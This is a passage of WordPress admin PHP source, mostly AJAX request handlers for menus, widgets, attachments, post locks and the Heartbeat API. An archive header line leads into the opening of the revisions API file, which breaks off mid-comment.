'edit_theme_options' ) ) wp_die( -1 ); require_once ABSPATH . 'wp-admin/includes/nav-menu.php'; if ( isset( $_POST['item-type'] ) && 'post_type' == $_POST['item-type'] ) { $type = 'posttype'; $callback = 'wp_nav_menu_item_post_type_meta_box'; $items = (array) get_post_types( array( 'show_in_nav_menus' => true ), 'object' ); } elseif ( isset( $_POST['item-type'] ) && 'taxonomy' == $_POST['item-type'] ) { $type = 'taxonomy'; $callback = 'wp_nav_menu_item_taxonomy_meta_box'; $items = (array) get_taxonomies( array( 'show_ui' => true ), 'object' ); } if ( ! empty( $_POST['item-object'] ) && isset( $items[$_POST['item-object']] ) ) { $menus_meta_box_object = $items[ $_POST['item-object'] ]; /** * Filter a nav menu meta box object. * * @since 3.0.0 * * @param object $menus_meta_box_object A nav menu meta box object, such as Page, * Post, Category, Tag, etc. */ $item = apply_filters( 'nav_menu_meta_box_object', $menus_meta_box_object ); ob_start(); call_user_func_array($callback, array( null, array( 'id' => 'add-' . $item->name, 'title' => $item->labels->name, 'callback' => $callback, 'args' => $item, ) )); $markup = ob_get_clean(); echo json_encode(array( 'replace-id' => $type . '-' . $item->name, 'markup' => $markup, )); } wp_die(); } function wp_ajax_wp_link_ajax() { check_ajax_referer( 'internal-linking', '_ajax_linking_nonce' ); $args = array(); if ( isset( $_POST['search'] ) ) $args['s'] = wp_unslash( $_POST['search'] ); $args['pagenum'] = ! empty( $_POST['page'] ) ? absint( $_POST['page'] ) : 1; require(ABSPATH . WPINC . '/class-wp-editor.php'); $results = _WP_Editors::wp_link_query( $args ); if ( ! isset( $results ) ) wp_die( 0 ); echo json_encode( $results ); echo "\n"; wp_die(); } function wp_ajax_menu_locations_save() { if ( ! current_user_can( 'edit_theme_options' ) ) wp_die( -1 ); check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' ); if ( ! isset( $_POST['menu-locations'] ) ) wp_die( 0 ); set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_POST['menu-locations'] ) ); wp_die( 1 ); } function wp_ajax_meta_box_order() { check_ajax_referer( 'meta-box-order' ); $order = isset( $_POST['order'] ) ? (array) $_POST['order'] : false; $page_columns = isset( $_POST['page_columns'] ) ? $_POST['page_columns'] : 'auto'; if ( $page_columns != 'auto' ) $page_columns = (int) $page_columns; $page = isset( $_POST['page'] ) ? $_POST['page'] : ''; if ( $page != sanitize_key( $page ) ) wp_die( 0 ); if ( ! $user = wp_get_current_user() ) wp_die( -1 ); if ( $order ) update_user_option($user->ID, "meta-box-order_$page", $order, true); if ( $page_columns ) update_user_option($user->ID, "screen_layout_$page", $page_columns, true); wp_die( 1 ); } function wp_ajax_menu_quick_search() { if ( ! current_user_can( 'edit_theme_options' ) ) wp_die( -1 ); require_once ABSPATH . 'wp-admin/includes/nav-menu.php'; _wp_ajax_menu_quick_search( $_POST ); wp_die(); } function wp_ajax_get_permalink() { check_ajax_referer( 'getpermalink', 'getpermalinknonce' ); $post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0; wp_die( add_query_arg( array( 'preview' => 'true' ), get_permalink( $post_id ) ) ); } function wp_ajax_sample_permalink() { check_ajax_referer( 'samplepermalink', 'samplepermalinknonce' ); $post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0; $title = isset($_POST['new_title'])? $_POST['new_title'] : ''; $slug = isset($_POST['new_slug'])? $_POST['new_slug'] : null; wp_die( get_sample_permalink_html( $post_id, $title, $slug ) ); } function wp_ajax_inline_save() { global $wp_list_table; check_ajax_referer( 'inlineeditnonce', '_inline_edit' ); if ( ! isset($_POST['post_ID']) || ! ( $post_ID = (int) $_POST['post_ID'] ) ) wp_die(); if ( 'page' == $_POST['post_type'] ) { if ( ! current_user_can( 'edit_page', $post_ID ) ) wp_die( __( 'You are not allowed to edit this page.' ) ); } else { if ( ! current_user_can( 'edit_post', $post_ID ) ) wp_die( __( 'You are not allowed to edit this post.' ) ); } if ( $last = wp_check_post_lock( $post_ID ) ) { $last_user = get_userdata( $last ); $last_user_name = $last_user ? $last_user->display_name : __( 'Someone' ); printf( $_POST['post_type'] == 'page' ? __( 'Saving is disabled: %s is currently editing this page.' ) : __( 'Saving is disabled: %s is currently editing this post.' ), esc_html( $last_user_name ) ); wp_die(); } $data = &$_POST; $post = get_post( $post_ID, ARRAY_A ); $post = wp_slash($post); //since it is from db $data['content'] = $post['post_content']; $data['excerpt'] = $post['post_excerpt']; // rename $data['user_ID'] = get_current_user_id(); if ( isset($data['post_parent']) ) $data['parent_id'] = $data['post_parent']; // Status. if ( isset( $data['keep_private'] ) && 'private' == $data['keep_private'] ) { $data['visibility'] = 'private'; $data['post_status'] = 'private'; } else { $data['post_status'] = $data['_status']; } if ( empty($data['comment_status']) ) $data['comment_status'] = 'closed'; if ( empty($data['ping_status']) ) $data['ping_status'] = 'closed'; // Hack: wp_unique_post_slug() doesn't work for drafts, so we will fake that our post is published. if ( ! empty( $data['post_name'] ) && in_array( $post['post_status'], array( 'draft', 'pending' ) ) ) { $post['post_status'] = 'publish'; $data['post_name'] = wp_unique_post_slug( $data['post_name'], $post['ID'], $post['post_status'], $post['post_type'], $post['post_parent'] ); } // update the post edit_post(); $wp_list_table = _get_list_table( 'WP_Posts_List_Table', array( 'screen' => $_POST['screen'] ) ); $mode = $_POST['post_view']; $level = 0; $request_post = array( get_post( $_POST['post_ID'] ) ); $parent = $request_post[0]->post_parent; while ( $parent > 0 ) { $parent_post = get_post( $parent ); $parent = $parent_post->post_parent; $level++; } $wp_list_table->display_rows( array( get_post( $_POST['post_ID'] ) ), $level ); wp_die(); } function wp_ajax_inline_save_tax() { global $wp_list_table; check_ajax_referer( 'taxinlineeditnonce', '_inline_edit' ); $taxonomy = sanitize_key( $_POST['taxonomy'] ); $tax = get_taxonomy( $taxonomy ); if ( ! $tax ) wp_die( 0 ); if ( ! current_user_can( $tax->cap->edit_terms ) ) wp_die( -1 ); $wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => 'edit-' . $taxonomy ) ); if ( ! isset($_POST['tax_ID']) || ! ( $id = (int) $_POST['tax_ID'] ) ) wp_die( -1 ); $tag = get_term( $id, $taxonomy ); $_POST['description'] = $tag->description; $updated = wp_update_term($id, $taxonomy, $_POST); if ( $updated && !is_wp_error($updated) ) { $tag = get_term( $updated['term_id'], $taxonomy ); if ( !$tag || is_wp_error( $tag ) ) { if ( is_wp_error($tag) && $tag->get_error_message() ) wp_die( $tag->get_error_message() ); wp_die( __( 'Item not updated.' ) ); } } else { if ( is_wp_error($updated) && $updated->get_error_message() ) wp_die( $updated->get_error_message() ); wp_die( __( 'Item not updated.' ) ); } $level = 0; $parent = $tag->parent; while ( $parent > 0 ) { $parent_tag = get_term( $parent, $taxonomy ); $parent = $parent_tag->parent; $level++; } $wp_list_table->single_row( $tag, $level ); wp_die(); } function wp_ajax_find_posts() { global $wpdb; check_ajax_referer( 'find-posts' ); $post_types = get_post_types( array( 'public' => true ), 'objects' ); unset( $post_types['attachment'] ); $s = wp_unslash( $_POST['ps'] ); $searchand = $search = ''; $args = array( 'post_type' => array_keys( $post_types ), 'post_status' => 'any', 'posts_per_page' => 50, ); if ( '' !== $s ) $args['s'] = $s; $posts = get_posts( $args ); if ( ! $posts ) wp_die( __('No items found.') ); $html = '<table class="widefat"><thead><tr><th class="found-radio"><br /></th><th>'.__('Title').'</th><th class="no-break">'.__('Type').'</th><th class="no-break">'.__('Date').'</th><th class="no-break">'.__('Status').'</th></tr></thead><tbody>'; $alt = ''; foreach ( $posts as $post ) { $title = trim( $post->post_title ) ? $post->post_title : __( '(no title)' ); $alt = ( 'alternate' == $alt ) ? '' : 'alternate'; switch ( $post->post_status ) { case 'publish' : case 'private' : $stat = __('Published'); break; case 'future' : $stat = __('Scheduled'); break; case 'pending' : $stat = __('Pending Review'); break; case 'draft' : $stat = __('Draft'); break; } if ( '0000-00-00 00:00:00' == $post->post_date ) { $time = ''; } else { /* translators: date format in table columns, see http://php.net/date */ $time = mysql2date(__('Y/m/d'), $post->post_date); } $html .= '<tr class="' . trim( 'found-posts ' . $alt ) . '"><td class="found-radio"><input type="radio" id="found-'.$post->ID.'" name="found_post_id" value="' . esc_attr($post->ID) . '"></td>'; $html .= '<td><label for="found-'.$post->ID.'">' . esc_html( $title ) . '</label></td><td class="no-break">' . esc_html( $post_types[$post->post_type]->labels->singular_name ) . '</td><td class="no-break">'.esc_html( $time ) . '</td><td class="no-break">' . esc_html( $stat ). ' </td></tr>' . "\n\n"; } $html .= '</tbody></table>'; wp_send_json_success( $html ); } function wp_ajax_widgets_order() { check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' ); if ( !current_user_can('edit_theme_options') ) wp_die( -1 ); unset( $_POST['savewidgets'], $_POST['action'] ); // save widgets order for all sidebars if ( is_array($_POST['sidebars']) ) { $sidebars = array(); foreach ( $_POST['sidebars'] as $key => $val ) { $sb = array(); if ( !empty($val) ) { $val = explode(',', $val); foreach ( $val as $k => $v ) { if ( strpos($v, 'widget-') === false ) continue; $sb[$k] = substr($v, strpos($v, '_') + 1); } } $sidebars[$key] = $sb; } wp_set_sidebars_widgets($sidebars); wp_die( 1 ); } wp_die( -1 ); } function wp_ajax_save_widget() { global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates; check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' ); if ( !current_user_can('edit_theme_options') || !isset($_POST['id_base']) ) wp_die( -1 ); unset( $_POST['savewidgets'], $_POST['action'] ); /** * Fires early when editing the widgets displayed in sidebars. * * @since 2.8.0 */ do_action( 'load-widgets.php' ); /** * Fires early when editing the widgets displayed in sidebars. * * @since 2.8.0 */ do_action( 'widgets.php' ); /** This action is documented in wp-admin/widgets.php */ do_action( 'sidebar_admin_setup' ); $id_base = $_POST['id_base']; $widget_id = $_POST['widget-id']; $sidebar_id = $_POST['sidebar']; $multi_number = !empty($_POST['multi_number']) ? (int) $_POST['multi_number'] : 0; $settings = isset($_POST['widget-' . $id_base]) && is_array($_POST['widget-' . $id_base]) ? $_POST['widget-' . $id_base] : false; $error = '<p>' . __('An error has occurred. Please reload the page and try again.') . '</p>'; $sidebars = wp_get_sidebars_widgets(); $sidebar = isset($sidebars[$sidebar_id]) ? $sidebars[$sidebar_id] : array(); // delete if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) { if ( !isset($wp_registered_widgets[$widget_id]) ) wp_die( $error ); $sidebar = array_diff( $sidebar, array($widget_id) ); $_POST = array('sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1'); } elseif ( $settings && preg_match( '/__i__|%i%/', key($settings) ) ) { if ( !$multi_number ) wp_die( $error ); $_POST['widget-' . $id_base] = array( $multi_number => array_shift($settings) ); $widget_id = $id_base . '-' . $multi_number; $sidebar[] = $widget_id; } $_POST['widget-id'] = $sidebar; foreach ( (array) $wp_registered_widget_updates as $name => $control ) { if ( $name == $id_base ) { if ( !is_callable( $control['callback'] ) ) continue; ob_start(); call_user_func_array( $control['callback'], $control['params'] ); ob_end_clean(); break; } } if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) { $sidebars[$sidebar_id] = $sidebar; wp_set_sidebars_widgets($sidebars); echo "deleted:$widget_id"; wp_die(); } if ( !empty($_POST['add_new']) ) wp_die(); if ( $form = $wp_registered_widget_controls[$widget_id] ) call_user_func_array( $form['callback'], $form['params'] ); wp_die(); } function wp_ajax_update_widget() { global $wp_customize; $wp_customize->widgets->wp_ajax_update_widget(); } function wp_ajax_upload_attachment() { check_ajax_referer( 'media-form' ); if ( ! current_user_can( 'upload_files' ) ) wp_die(); if ( isset( $_REQUEST['post_id'] ) ) { $post_id = $_REQUEST['post_id']; if ( ! current_user_can( 'edit_post', $post_id ) ) wp_die(); } else { $post_id = null; } $post_data = ! empty( $_REQUEST['post_data'] ) ? _wp_get_allowed_postdata( _wp_translate_postdata( false, (array) $_REQUEST['post_data'] ) ) : array(); if ( is_wp_error( $post_data ) ) { wp_die( $post_data->get_error_message() ); } // If the context is custom header or background, make sure the uploaded file is an image. if ( isset( $post_data['context'] ) && in_array( $post_data['context'], array( 'custom-header', 'custom-background' ) ) ) { $wp_filetype = wp_check_filetype_and_ext( $_FILES['async-upload']['tmp_name'], $_FILES['async-upload']['name'], false ); if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) { echo json_encode( array( 'success' => false, 'data' => array( 'message' => __( 'The uploaded file is not a valid image. Please try again.' ), 'filename' => esc_html( $_FILES['async-upload']['name'] ), ) ) ); wp_die(); } } $attachment_id = media_handle_upload( 'async-upload', $post_id, $post_data ); if ( is_wp_error( $attachment_id ) ) { echo json_encode( array( 'success' => false, 'data' => array( 'message' => $attachment_id->get_error_message(), 'filename' => esc_html( $_FILES['async-upload']['name'] ), ) ) ); wp_die(); } if ( isset( $post_data['context'] ) && isset( $post_data['theme'] ) ) { if ( 'custom-background' === $post_data['context'] ) update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', $post_data['theme'] ); if ( 'custom-header' === $post_data['context'] ) update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', $post_data['theme'] ); } if ( ! $attachment = wp_prepare_attachment_for_js( $attachment_id ) ) wp_die(); echo json_encode( array( 'success' => true, 'data' => $attachment, ) ); wp_die(); } function wp_ajax_image_editor() { $attachment_id = intval($_POST['postid']); if ( empty($attachment_id) || !current_user_can('edit_post', $attachment_id) ) wp_die( -1 ); check_ajax_referer( "image_editor-$attachment_id" ); include_once( ABSPATH . 'wp-admin/includes/image-edit.php' ); $msg = false; switch ( $_POST['do'] ) { case 'save' : $msg = wp_save_image($attachment_id); $msg = json_encode($msg); wp_die( $msg ); break; case 'scale' : $msg = wp_save_image($attachment_id); break; case 'restore' : $msg = wp_restore_image($attachment_id); break; } wp_image_editor($attachment_id, $msg); wp_die(); } function wp_ajax_set_post_thumbnail() { $json = ! empty( $_REQUEST['json'] ); // New-style request $post_ID = intval( $_POST['post_id'] ); if ( ! current_user_can( 'edit_post', $post_ID ) ) wp_die( -1 ); $thumbnail_id = intval( $_POST['thumbnail_id'] ); if ( $json ) check_ajax_referer( "update-post_$post_ID" ); else check_ajax_referer( "set_post_thumbnail-$post_ID" ); if ( $thumbnail_id == '-1' ) { if ( delete_post_thumbnail( $post_ID ) ) { $return = _wp_post_thumbnail_html( null, $post_ID ); $json ? wp_send_json_success( $return ) : wp_die( $return ); } else { wp_die( 0 ); } } if ( set_post_thumbnail( $post_ID, $thumbnail_id ) ) { $return = _wp_post_thumbnail_html( $thumbnail_id, $post_ID ); $json ? wp_send_json_success( $return ) : wp_die( $return ); } wp_die( 0 ); } function wp_ajax_date_format() { wp_die( date_i18n( sanitize_option( 'date_format', wp_unslash( $_POST['date'] ) ) ) ); } function wp_ajax_time_format() { wp_die( date_i18n( sanitize_option( 'time_format', wp_unslash( $_POST['date'] ) ) ) ); } function wp_ajax_wp_fullscreen_save_post() { $post_id = isset( $_POST['post_ID'] ) ? (int) $_POST['post_ID'] : 0; $post = $post_type = null; if ( $post_id ) $post = get_post( $post_id ); if ( $post ) $post_type = $post->post_type; elseif ( isset( $_POST['post_type'] ) && post_type_exists( $_POST['post_type'] ) ) $post_type = $_POST['post_type']; check_ajax_referer('update-post_' . $post_id, '_wpnonce'); $post_id = edit_post(); if ( is_wp_error( $post_id ) ) { wp_send_json_error(); } if ( $post ) { $last_date = mysql2date( get_option('date_format'), $post->post_modified ); $last_time = mysql2date( get_option('time_format'), $post->post_modified ); } else { $last_date = date_i18n( get_option('date_format') ); $last_time = date_i18n( get_option('time_format') ); } if ( $last_id = get_post_meta( $post_id, '_edit_last', true ) ) { $last_user = get_userdata( $last_id ); $last_edited = sprintf( __('Last edited by %1$s on %2$s at %3$s'), esc_html( $last_user->display_name ), $last_date, $last_time ); } else { $last_edited = sprintf( __('Last edited on %1$s at %2$s'), $last_date, $last_time ); } wp_send_json_success( array( 'last_edited' => $last_edited ) ); } function wp_ajax_wp_remove_post_lock() { if ( empty( $_POST['post_ID'] ) || empty( $_POST['active_post_lock'] ) ) wp_die( 0 ); $post_id = (int) $_POST['post_ID']; if ( ! $post = get_post( $post_id ) ) wp_die( 0 ); check_ajax_referer( 'update-post_' . $post_id ); if ( ! current_user_can( 'edit_post', $post_id ) ) wp_die( -1 ); $active_lock = array_map( 'absint', explode( ':', $_POST['active_post_lock'] ) ); if ( $active_lock[1] != get_current_user_id() ) wp_die( 0 ); /** * Filter the post lock window duration. * * @since 3.3.0 * * @param int $interval The interval in seconds the post lock duration * should last, plus 5 seconds. Default 150. */ $new_lock = ( time() - apply_filters( 'wp_check_post_lock_window', 150 ) + 5 ) . ':' . $active_lock[1]; update_post_meta( $post_id, '_edit_lock', $new_lock, implode( ':', $active_lock ) ); wp_die( 1 ); } function wp_ajax_dismiss_wp_pointer() { $pointer = $_POST['pointer']; if ( $pointer != sanitize_key( $pointer ) ) wp_die( 0 ); // check_ajax_referer( 'dismiss-pointer_' . $pointer ); $dismissed = array_filter( explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) ) ); if ( in_array( $pointer, $dismissed ) ) wp_die( 0 ); $dismissed[] = $pointer; $dismissed = implode( ',', $dismissed ); update_user_meta( get_current_user_id(), 'dismissed_wp_pointers', $dismissed ); wp_die( 1 ); } /** * Get an attachment. * * @since 3.5.0 */ function wp_ajax_get_attachment() { if ( ! isset( $_REQUEST['id'] ) ) wp_send_json_error(); if ( ! $id = absint( $_REQUEST['id'] ) ) wp_send_json_error(); if ( ! $post = get_post( $id ) ) wp_send_json_error(); if ( 'attachment' != $post->post_type ) wp_send_json_error(); if ( ! current_user_can( 'upload_files' ) ) wp_send_json_error(); if ( ! $attachment = wp_prepare_attachment_for_js( $id ) ) wp_send_json_error(); wp_send_json_success( $attachment ); } /** * Query for attachments. * * @since 3.5.0 */ function wp_ajax_query_attachments() { if ( ! current_user_can( 'upload_files' ) ) wp_send_json_error(); $query = isset( $_REQUEST['query'] ) ? (array) $_REQUEST['query'] : array(); $query = array_intersect_key( $query, array_flip( array( 's', 'order', 'orderby', 'posts_per_page', 'paged', 'post_mime_type', 'post_parent', 'post__in', 'post__not_in', ) ) ); $query['post_type'] = 'attachment'; $query['post_status'] = 'inherit'; if ( current_user_can( get_post_type_object( 'attachment' )->cap->read_private_posts ) ) $query['post_status'] .= ',private'; /** * Filter the arguments passed to WP_Query during an AJAX * call for querying attachments. * * @since 3.7.0 * * @see WP_Query::parse_query() * * @param array $query An array of query variables. */ $query = apply_filters( 'ajax_query_attachments_args', $query ); $query = new WP_Query( $query ); $posts = array_map( 'wp_prepare_attachment_for_js', $query->posts ); $posts = array_filter( $posts ); wp_send_json_success( $posts ); } /** * Save attachment attributes. * * @since 3.5.0 */ function wp_ajax_save_attachment() { if ( ! isset( $_REQUEST['id'] ) || ! isset( $_REQUEST['changes'] ) ) wp_send_json_error(); if ( ! $id = absint( $_REQUEST['id'] ) ) wp_send_json_error(); check_ajax_referer( 'update-post_' . $id, 'nonce' ); if ( ! current_user_can( 'edit_post', $id ) ) wp_send_json_error(); $changes = $_REQUEST['changes']; $post = get_post( $id, ARRAY_A ); if ( 'attachment' != $post['post_type'] ) wp_send_json_error(); if ( isset( $changes['title'] ) ) $post['post_title'] = $changes['title']; if ( isset( $changes['caption'] ) ) $post['post_excerpt'] = $changes['caption']; if ( isset( $changes['description'] ) ) $post['post_content'] = $changes['description']; if ( isset( $changes['alt'] ) ) { $alt = wp_unslash( $changes['alt'] ); if ( $alt != get_post_meta( $id, '_wp_attachment_image_alt', true ) ) { $alt = wp_strip_all_tags( $alt, true ); update_post_meta( $id, '_wp_attachment_image_alt', wp_slash( $alt ) ); } } wp_update_post( $post ); wp_send_json_success(); } /** * Save backwards compatible attachment attributes. * * @since 3.5.0 */ function wp_ajax_save_attachment_compat() { if ( ! isset( $_REQUEST['id'] ) ) wp_send_json_error(); if ( ! $id = absint( $_REQUEST['id'] ) ) wp_send_json_error(); if ( empty( $_REQUEST['attachments'] ) || empty( $_REQUEST['attachments'][ $id ] ) ) wp_send_json_error(); $attachment_data = $_REQUEST['attachments'][ $id ]; check_ajax_referer( 'update-post_' . $id, 'nonce' ); if ( ! current_user_can( 'edit_post', $id ) ) wp_send_json_error(); $post = get_post( $id, ARRAY_A ); if ( 'attachment' != $post['post_type'] ) wp_send_json_error(); /** This filter is documented in wp-admin/includes/media.php */ $post = apply_filters( 'attachment_fields_to_save', $post, $attachment_data ); if ( isset( $post['errors'] ) ) { $errors = $post['errors']; // @todo return me and display me! unset( $post['errors'] ); } wp_update_post( $post ); foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) { if ( isset( $attachment_data[ $taxonomy ] ) ) wp_set_object_terms( $id, array_map( 'trim', preg_split( '/,+/', $attachment_data[ $taxonomy ] ) ), $taxonomy, false ); } if ( ! $attachment = wp_prepare_attachment_for_js( $id ) ) wp_send_json_error(); wp_send_json_success( $attachment ); } function wp_ajax_save_attachment_order() { if ( ! isset( $_REQUEST['post_id'] ) ) wp_send_json_error(); if ( ! $post_id = absint( $_REQUEST['post_id'] ) ) wp_send_json_error(); if ( empty( $_REQUEST['attachments'] ) ) wp_send_json_error(); check_ajax_referer( 'update-post_' . $post_id, 'nonce' ); $attachments = $_REQUEST['attachments']; if ( ! current_user_can( 'edit_post', $post_id ) ) wp_send_json_error(); $post = get_post( $post_id, ARRAY_A ); foreach ( $attachments as $attachment_id => $menu_order ) { if ( ! current_user_can( 'edit_post', $attachment_id ) ) continue; if ( ! $attachment = get_post( $attachment_id ) ) continue; if ( 'attachment' != $attachment->post_type ) continue; wp_update_post( array( 'ID' => $attachment_id, 'menu_order' => $menu_order ) ); } wp_send_json_success(); } /** * Generates the HTML to send an attachment to the editor. * Backwards compatible with the media_send_to_editor filter and the chain * of filters that follow. * * @since 3.5.0 */ function wp_ajax_send_attachment_to_editor() { check_ajax_referer( 'media-send-to-editor', 'nonce' ); $attachment = wp_unslash( $_POST['attachment'] ); $id = intval( $attachment['id'] ); if ( ! $post = get_post( $id ) ) wp_send_json_error(); if ( 'attachment' != $post->post_type ) wp_send_json_error(); if ( current_user_can( 'edit_post', $id ) ) { // If this attachment is unattached, attach it. Primarily a back compat thing. if ( 0 == $post->post_parent && $insert_into_post_id = intval( $_POST['post_id'] ) ) { wp_update_post( array( 'ID' => $id, 'post_parent' => $insert_into_post_id ) ); } } $rel = $url = ''; $html = $title = isset( $attachment['post_title'] ) ? $attachment['post_title'] : ''; if ( ! empty( $attachment['url'] ) ) { $url = $attachment['url']; if ( strpos( $url, 'attachment_id') || get_attachment_link( $id ) == $url ) $rel = ' rel="attachment wp-att-' . $id . '"'; $html = '<a href="' . esc_url( $url ) . '"' . $rel . '>' . $html . '</a>'; } remove_filter( 'media_send_to_editor', 'image_media_send_to_editor' ); if ( 'image' === substr( $post->post_mime_type, 0, 5 ) ) { $align = isset( $attachment['align'] ) ? $attachment['align'] : 'none'; $size = isset( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium'; $alt = isset( $attachment['image_alt'] ) ? $attachment['image_alt'] : ''; $caption = isset( $attachment['post_excerpt'] ) ? $attachment['post_excerpt'] : ''; $title = ''; // We no longer insert title tags into <img> tags, as they are redundant. $html = get_image_send_to_editor( $id, $caption, $title, $align, $url, (bool) $rel, $size, $alt ); } elseif ( 'video' === substr( $post->post_mime_type, 0, 5 ) || 'audio' === substr( $post->post_mime_type, 0, 5 ) ) { $html = stripslashes_deep( $_POST['html'] ); } /** This filter is documented in wp-admin/includes/media.php */ $html = apply_filters( 'media_send_to_editor', $html, $id, $attachment ); wp_send_json_success( $html ); } /** * Generates the HTML to send a non-image embed link to the editor. * * Backwards compatible with the following filters: * - file_send_to_editor_url * - audio_send_to_editor_url * - video_send_to_editor_url * * @since 3.5.0 */ function wp_ajax_send_link_to_editor() { check_ajax_referer( 'media-send-to-editor', 'nonce' ); if ( ! $src = wp_unslash( $_POST['src'] ) ) wp_send_json_error(); if ( ! strpos( $src, '://' ) ) $src = 'http://' . $src; if ( ! $src = esc_url_raw( $src ) ) wp_send_json_error(); if ( ! $title = trim( wp_unslash( $_POST['title'] ) ) ) $title = wp_basename( $src ); $html = ''; if ( $title ) $html = '<a href="' . esc_url( $src ) . '">' . $title . '</a>'; // Figure out what filter to run: $type = 'file'; if ( ( $ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src ) ) && ( $ext_type = wp_ext2type( $ext ) ) && ( 'audio' == $ext_type || 'video' == $ext_type ) ) $type = $ext_type; /** This filter is documented in wp-admin/includes/media.php */ $html = apply_filters( $type . '_send_to_editor_url', $html, $src, $title ); wp_send_json_success( $html ); } /** * Heartbeat API (experimental) * * Runs when the user is logged in. */ function wp_ajax_heartbeat() { if ( empty( $_POST['_nonce'] ) ) wp_send_json_error(); $response = array(); if ( false === wp_verify_nonce( $_POST['_nonce'], 'heartbeat-nonce' ) ) { // User is logged in but nonces have expired. $response['nonces_expired'] = true; wp_send_json($response); } // screen_id is the same as $current_screen->id and the JS global 'pagenow' if ( ! empty($_POST['screen_id']) ) $screen_id = sanitize_key($_POST['screen_id']); else $screen_id = 'front'; if ( ! empty($_POST['data']) ) { $data = wp_unslash( (array) $_POST['data'] ); /** * Filter the Heartbeat response received. * * @since 3.6.0 * * @param array|object $response The Heartbeat response object or array. * @param array $data The $_POST data sent. * @param string $screen_id The screen id. */ $response = apply_filters( 'heartbeat_received', $response, $data, $screen_id ); } /** * Filter the Heartbeat response sent. * * @since 3.6.0 * * @param array|object $response The Heartbeat response object or array. * @param string $screen_id The screen id. */ $response = apply_filters( 'heartbeat_send', $response, $screen_id ); /** * Fires when Heartbeat ticks in logged-in environments. * * Allows the transport to be easily replaced with long-polling. * * @since 3.6.0 * * @param array|object $response The Heartbeat response object or array. * @param string $screen_id The screen id. */ do_action( 'heartbeat_tick', $response, $screen_id ); // Send the current time according to the server $response['server_time'] = time(); wp_send_json($response); } function wp_ajax_get_revision_diffs() { require ABSPATH . 'wp-admin/includes/revision.php'; if ( ! $post = get_post( (int) $_REQUEST['post_id'] ) ) wp_send_json_error(); if ( ! current_user_can( 'edit_post', $post->ID ) ) wp_send_json_error(); // Really just pre-loading the cache here. if ( ! $revisions = wp_get_post_revisions( $post->ID, array( 'check_enabled' => false ) ) ) wp_send_json_error(); $return = array(); @set_time_limit( 0 ); foreach ( $_REQUEST['compare'] as $compare_key ) { list( $compare_from, $compare_to ) = explode( ':', $compare_key ); // from:to $return[] = array( 'id' => $compare_key, 'fields' => wp_get_revision_ui_diff( $post, $compare_from, $compare_to ), ); } wp_send_json_success( $return ); } /** * Auto-save the selected color scheme for a user's own profile. * * @since 3.8.0 */ function wp_ajax_save_user_color_scheme() { global $_wp_admin_css_colors; check_ajax_referer( 'save-color-scheme', 'nonce' ); $color_scheme = sanitize_key( $_POST['color_scheme'] ); if ( ! isset( $_wp_admin_css_colors[ $color_scheme ] ) ) { wp_send_json_error(); } update_user_meta( get_current_user_id(), 'admin_color', $color_scheme ); wp_send_json_success(); } /** * Get themes from themes_api(). * * @since 3.9.0 */ function wp_ajax_query_themes() { global $themes_allowedtags, $theme_field_defaults; if ( ! current_user_can( 'install_themes' ) ) { wp_send_json_error(); } $args = wp_parse_args( wp_unslash( $_REQUEST['request'] ), array( 'per_page' => 20, 'fields' => $theme_field_defaults ) ); $old_filter = isset( $args['browse'] ) ? $args['browse'] : 'search'; /** This filter is documented in wp-admin/includes/class-wp-theme-install-list-table.php */ $args = apply_filters( 'install_themes_table_api_args_' . $old_filter, $args ); $api = themes_api( 'query_themes', $args ); if ( is_wp_error( $api ) ) { wp_send_json_error(); } $update_php = network_admin_url( 'update.php?action=install-theme' ); foreach ( $api->themes as &$theme ) { $theme->install_url = add_query_arg( array( 'theme' => $theme->slug, '_wpnonce' => wp_create_nonce( 'install-theme_' . $theme->slug ) ), $update_php ); $theme->name = wp_kses( $theme->name, $themes_allowedtags ); $theme->author = wp_kses( $theme->author, $themes_allowedtags ); $theme->version = wp_kses( $theme->version, $themes_allowedtags ); $theme->description = wp_kses( $theme->description, $themes_allowedtags ); $theme->num_ratings = sprintf( _n( '(based on %s rating)', '(based on %s ratings)', $theme->num_ratings ), number_format_i18n( $theme->num_ratings ) ); } wp_send_json_success( $api ); } revision.php000077700000017452151514577750007154 0ustar00<?php /** * WordPress Administration Revisions API * * @package WordPress * @subpackage Administration */ /** * Get the revision UI diff. * * @since 3.6.0 * * @param object|int $post The post object. Also accepts a post ID. * @param int $compare_from The revision ID to compare from. * @param int $compare_to The revision ID to come to. * * @return array|bool Associative array of a post's revisioned fields and their diffs. * Or, false on failure. */ function wp_get_revision_ui_diff( $post, $compare_from, $compare_to ) { if ( ! $post = get_post( $post ) ) return false; if ( $compare_from ) { if ( ! $compare_from = get_post( $compare_from ) ) return false; } else { // If we're dealing with the first revision... $compare_from = false; } if ( ! $compare_to = get_post( $compare_to ) ) return false; // If comparing revisions, make sure we're dealing with the right post parent. // The parent post may be a 'revision' when revisions are disabled and we're looking at autosaves. if ( $compare_from && $compare_from->post_parent !== $post->ID && $compare_from->ID !== $post->ID ) return false; if ( $compare_to->post_parent !== $post->ID && $compare_to->ID !== $post->ID ) return false; if ( $compare_from && strtotime( $compare_from->post_date_gmt ) > strtotime( $compare_to->post_date_gmt ) ) { $temp = $compare_from; $compare_from = $compare_to; $compare_to = $temp; } // Add default title if title field is empty if ( $compare_from && empty( $compare_from->post_title ) ) $compare_from->post_title = __( '(no title)' ); if ( empty( $compare_to->post_title ) ) $compare_to->post_title = __( '(no title)' ); $return = array(); foreach ( _wp_post_revision_fields() as $field => $name ) { /** * Contextually filter a post revision field. * * The dynamic portion of the hook name, $field, corresponds to each of the post * 